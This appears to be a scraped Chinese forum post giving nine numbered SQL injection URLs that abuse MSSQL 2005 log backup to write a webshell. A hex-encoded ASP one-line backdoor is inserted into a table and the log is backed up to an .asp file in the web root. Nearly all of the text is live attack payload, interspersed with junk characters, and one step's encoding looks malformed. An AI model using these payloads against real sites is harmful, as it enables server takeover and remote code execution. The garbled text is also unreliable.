Mssql2005 Log备份Webshell

admin

第一步
, |& _4 e: j% u$ w  Qhttp://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

第二步：
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第三步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
, z3 o% u+ k4 e8 n! e4 D/ X! I
- A9 v$ [/ o) s4 ^第四步
* u; F0 R2 h. [! i5 ihttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--

* H1 A7 D' K- [# @第五步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第六步
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--
0 i, Q. B! c9 t! O6 A2 A
第七步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
# c) }1 u/ b6 ]9 t' _+ s% R3 {
第八步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

( r; ?) q* ~( o2 B+ J7 C第九步
+ Y( [9 U; x) N) O/ ^- Ohttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
2 [0 r  Y$ O0 c' J